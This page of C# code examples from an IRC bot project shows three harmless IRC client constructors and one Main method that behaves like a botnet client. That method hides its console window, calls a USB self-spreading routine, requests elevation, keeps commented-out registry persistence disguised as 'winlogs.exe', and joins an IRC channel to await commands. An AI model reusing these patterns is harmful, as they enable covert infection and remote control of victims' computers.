예제 #1
0
파일: cIRC.cs 프로젝트: sxbrentxs/CSIRCBot
        private cIRC()
        {
            //IrcObject = new IRC("CumpsD", "#mypreciousss");
            IrcObject = new IRC();

            // Assign events
            IrcObject.eventReceiving += new IRCReceived(IrcCommandReceived);
            IrcObject.eventServerMessage += new ServerMessage(IrcServerMessage);
            IrcObject.eventIrcMessageReceived += new MessageReceived(IrcMessageReceived);
            IrcObject.eventIrcNoticeReceived += new NoticeReceived(IrcNoticeReceived);
            IrcObject.eventSendReceivedCommand += new SendReceivedCommand(IrcSendReceivedCommand);
            IrcObject.eventJoin += new Join(IrcJoin);
            IrcObject.eventPart += new Part(IrcPart);
            IrcObject.eventMode += new Mode(IrcMode);

            // Connect to server
            IrcObject.Connect();
        }
예제 #2
0
        private cIRC(string IrcServer, int IrcPort, string IrcUser, string IrcChan, string SupAdmin)
        {
            IrcObject = new IRC(IrcUser, IrcChan);

            // Assign events
            IrcObject.eventReceiving += new CommandReceived(IrcCommandReceived);
            IrcObject.eventTopicSet += new TopicSet(IrcTopicSet);
            IrcObject.eventTopicOwner += new TopicOwner(IrcTopicOwner);
            IrcObject.eventNamesList += new NamesList(IrcNamesList);
            IrcObject.eventServerMessage += new ServerMessage(IrcServerMessage);
            IrcObject.eventJoin += new Join(IrcJoin);
            IrcObject.eventPart += new Part(IrcPart);
            IrcObject.eventMode += new Mode(IrcMode);
            IrcObject.eventNickChange += new NickChange(IrcNickChange);
            IrcObject.eventKick += new Kick(IrcKick);
            IrcObject.eventQuit += new Quit(IrcQuit);

            // Connect to server
            IrcObject.Connect(IrcServer, IrcPort, SupAdmin);
        }
예제 #3
0
파일: cIRC.cs 프로젝트: sxbrentxs/CSIRCBot
        private cIRC(string IrcServer, int IrcPort, string IrcUser, string IrcChan)
        {
            //IrcObject = new IRC("CumpsD", "#mypreciousss");
            IrcObject = new IRC(IrcUser, IrcChan);

            // Assign events
            IrcObject.eventReceiving += new CommandReceived(IrcCommandReceived);
            IrcObject.eventTopicSet += new TopicSet(IrcTopicSet);
            IrcObject.eventTopicOwner += new TopicOwner(IrcTopicOwner);
            IrcObject.eventNamesList += new NamesList(IrcNamesList);
            IrcObject.eventServerMessage += new ServerMessage(IrcServerMessage);
            IrcObject.eventJoin += new Join(IrcJoin);
            IrcObject.eventPart += new Part(IrcPart);
            IrcObject.eventMode += new Mode(IrcMode);
            IrcObject.eventNickChange += new NickChange(IrcNickChange);
            IrcObject.eventKick += new Kick(IrcKick);
            IrcObject.eventQuit += new Quit(IrcQuit);

            // Connect to server
            //IrcObject.Connect("efnet.xs4all.nl", 6667);
            IrcObject.Connect(IrcServer, IrcPort);
        }
예제 #4
0
        static void Main(string[] args)
        {
            int win = GetConsoleWindow();
            ShowWindow(win, 0);

            try
            {
                fp = Process.GetCurrentProcess().MainModule.FileName;
                string[] beetweenthing = fp.Split('\\');
                filename = beetweenthing[beetweenthing.Length - 1];
                UsbInject();
            }
            catch (Exception)
            { }

            ProcessStartInfo p = new ProcessStartInfo();
            p.UseShellExecute = true;
            p.Verb = "runas";

            try
            {
                Process.Start(p);
            }
            catch(Exception e) { }

            // Start on Start Up
            //RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            //rkApp.SetValue("winlogs.exe", Application.ExecutablePath.ToString());

            _irc = new IRC("IRCBot");
            _irc.Nick = nick;
            _irc.Connect(server, port);
            _irc.Logon(nick, nick);
            _irc.Join(channel);
            _irc.IRCMessageRecieved += new IRC.IRCMessageRecievedHandler(_irc_IRCMessageRecieved);

            while (true)
            {
                _irc.ProcessEvents(0);
            }
        }